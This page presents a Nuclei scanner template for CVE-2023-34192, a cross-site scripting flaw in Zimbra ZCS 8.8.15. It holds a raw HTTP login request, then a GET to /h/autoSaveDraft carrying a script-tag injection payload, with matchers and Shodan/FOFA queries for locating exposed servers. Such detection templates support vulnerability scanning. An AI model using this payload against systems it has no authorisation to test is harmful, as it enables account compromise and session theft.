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Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting

ID: CVE-2023-34192

Severity: critical

Author: ritikchaddha

Tags: cve,cve2023,zimbra,xss,authenticated,kev

Description

Section titled “Description”

Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.

YAML Source

Section titled “YAML Source”
id: CVE-2023-34192


info:
  name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
  author: ritikchaddha
  severity: critical
  description: |
    Cross Site Scripting vulnerability in Zimbra ZCS v.8.8.15 allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
  reference:
    - https://mp.weixin.qq.com/s/Vz8yL4xBlZN5EQQ_BG0OOA
    - https://www.helpnetsecurity.com/2023/07/17/cve-2023-34192/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-34192
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2023-34192
    cwe-id: CWE-79
    epss-score: 0.17094
    epss-percentile: 0.95587
    cpe: cpe:2.3:a:zimbra:collaboration:8.8.15:-:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:475145467
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - icon_hash="475145467"
      - icon_hash="1624375939"
      - app="zimbra-邮件系统"
  tags: cve,cve2023,zimbra,xss,authenticated,kev


http:
  - raw:
      - |
        POST /zimbra/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        loginOp=login&username={{username}}&password={{password}}&client=preferred
      - |
        GET /h/autoSaveDraft?draftid=aaaaaaaaaaa%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cbbbbbbbb HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"
          - "zimbra"
        condition: and


      - type: word
        part: header_2
        words:
          - text/html


      - type: status
        part: header_2
        status:
          - 200
# digest: 490a0046304402201b69e6cc1b5b3c3b256f3a0e10a93f8d143da2b9ebf6f4bb700047f014eecf6a02205dfc4edb75c1d0c31cf43cf1b3c2cf6954f6c87bfa3b7ec604a395eaa41f4dae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-34192.yaml"

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